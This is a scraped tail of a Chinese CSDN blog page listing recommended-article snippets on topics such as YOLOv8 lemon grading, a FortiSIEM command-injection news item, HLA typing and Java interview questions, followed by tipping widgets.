本项目的目标是构建一个柠檬等级检测系统,通过深度学习模型自动检测柠檬的等级。自动检测柠檬等级:通过图像中的柠檬特征,自动判断其成熟度和质量。实时视频检测:通过摄像头实时监控柠檬的质量等级。用户友好的UI界面:为用户提供简洁直观的操作界面,支持图像上传、实时视频检测等功能。本项目展示了如何基于YOLOv8模型开发一个柠檬等级检测系统,结合PyQt5实现了用户友好的UI界面。通过该系统,用户可以快速上传柠檬图像并自动识别其等级,极大提升了检测效率和准确性。数据集的扩展。

YOLO 1112

Fortinet 提醒注意严重的FortiSIEM命令注入漏洞

聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士Fortinet 提醒客户称,FortiSIEM 报送服务器中存在一个严重的 OS 命令注入漏洞,远程未认证攻击者可通过特殊构造的 API 请求执行命令。FortiSIEM(安全信息和事件管理)是一款综合的网络安全解决方案,为组织机构提供关于安全态势的增强型可见性和控制。该解决方案用于规模不一的组织机构中,涉及医疗、金融、零售、电商、政府和公共行...

smellycat000的专栏 369

HLA分型

HLA分型 一、根据WES的tumor数据进行数据分型 选用hlahd 软件安装及使用 [root@18605fd8771e ~]# wget https://jaist.dl.sourceforge.net/project/bowtie-bio/bowtie2/2.4.1/bowtie2-2.4.1-linux-x86_64.zip [root@18605fd8771e ~]# unzip bowtie2-2.4.1-linux-x86_64.zip && mv bowtie2-2.4.1

qq_23435961的博客 2489

杰理JL701N内置flash录音配置教程

本文详细介绍了内置Flash录音功能的配置方法。主要内容包括:1) 基础模式配置(开启音乐/录音模式、Flash录音宏定义);2) 录音参数设置(格式基准值、存储区域定义、容量配置);3) MP3编码特殊处理;4) 下载时的Flash格式化操作;5) 录音开关和播放接口的使用说明。配置过程涉及多个关键文件的修改,并强调存储容量的精确分配。

qq_42014563的博客 598

教程篇(5.0) 08. Fortinet安全架构集成与FortiXDR ❀ FortiEDR ❀ Fortinet 网络安全专家 NSE 5

在本课中,你将学习有关Fortinet安全架构集成和FortiXDR。

防火墙技术专栏 1325

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

InnoDB 内存结构总览:Change Buffer、AHI 与 Log Buffer

本文系统梳理InnoDB内存结构中的ChangeBuffer、Adaptive Hash Index(AHI)与LogBuffer。ChangeBuffer缓存二级索引页不在内存时的变更,减少随机IO,仅在页加载时合并;聚簇索引修改立即执行,因数据本身不可延后。AHI基于高频等值查询自动构建哈希索引,加速定位,仅支持等值操作。LogBuffer为redo log内存缓冲,配合磁盘日志实现崩溃恢复。三者均服务于性能优化,其中ChangeBuffer与AHI共享BufferPool空间,而LogBuffer独立

bksczm的博客 293

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

信创环境下PageOffice文档控件适配与实践

信创适配做到文档控件这一层,拼的已经不是"有没有国产版本",而是同一个功能在两类终端上是否真的等价。等价的标准很具体:同一次点击能得到同样的结果,同一份公文能得到同样的版式,同一个项目不需要维护两套代码。这背后是三件并不轻松的工作:服务端用一套接口同时支撑两类终端,客户端把两种系统与四种芯片的安装包分发清楚,文档内核层由产品侧跟着 WPS 的版本走。浏览器这一层的压力,则被收进了产品自己的窗口里——升级节奏由产品掌握,不再交给运气。

zi_wu_xian的专栏 323

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

V8 机制、手写核心函数与 TypeScript 类型体操

或固定初始化(如数组先定长、对象先给全字段)保持类型与形状稳定;这些都比"换框架"更基础。只能处理纯数据(丢函数、Date、RegExp、循环引用报错)。生产级深拷贝要处理:原始值短路、循环引用、V8(Chrome / Node 的 JS 引擎)不是"解释一行跑一行"那么简单,它用。图:V8 执行流程——解释执行 + 热点优化,优化失败会 Deopt 回退。JS 内存自动管理,但"自动"不等于"不会漏"。是"固定间隔最多执行一次"。手写 Promise 是"懂异步"的试金石。是"停下后才执行最后一次",

qq_38468358的博客 350

第三篇 第 6 课

前置:第三篇第 1 课(stdx 引入),第二篇第 1 课(std.regex)。环境:仓颉 SDK 1.2.0。本文所有代码与输出均逐行实测。

weixin_41618057的博客 510

【从零理解 Spring AI · 12】MCP 的两种角色:做客户端还是做服务端

上一篇讲了 MCP 的概念:标准协议、三大角色、M+N 替代 M×N。

nice_lcj520的博客 521

Java 集合容器高频面试题全解:HashMap 树化阈值、1.7 死循环与 ConcurrentHashMap 演进(2026 招聘 JD 真题复盘)

HashMap 树化阈值 8 的泊松分布依据、退化阈值 6 的防抖设计、JDK 1.7 头插成环死循环的排查与修复、1.8 尾插后为何仍线程不安全、ConcurrentHashMap 放弃分段锁的原因与 ForwardingNode 协作扩容、computeIfAbsent 死锁陷阱、大集合找重复的场景题选型,附三层追问链自测。题目来源为 38 期公开招聘 JD 样本与字节、拼多多、建行、美团、快手公开面经。

蒙眼过河 414

spdlog 同步日志库使用详解

spdlog是一个轻量级 C++ 日志库,支持同步日志、异步日志、多线程日志、日志文件轮转和自定义日志格式。对于嵌入式 Linux 应用开发,我建议先使用。它可以帮我们完成:日志级别过滤。时间戳和线程 ID 输出。日志格式化。终端和文件输出。多线程安全写入。日志文件按大小或时间轮转。我们不需要自己实现互斥锁、文件写入、日志格式化和轮转等底层功能。

zengjiajun2006的博客 996

JavaEE通关手册:数据类型与变量

代码无需额外处理,编译时编译器自动完成转换。

xys_678的博客 178

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 367
上一篇: 【Java代码审计】FortiNAC 远程代码执行漏洞(一)
下一篇: 【人工智能】构建基于 Qwen1.5-7B-Chat 的轻量级 Python 对话助手
秋说
秋说 优质创作者: 编程框架、信息安全技术领域 优质创作者: 编程框架、信息安全技术领域
博客等级 码龄4年 3万+粉丝 1906原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值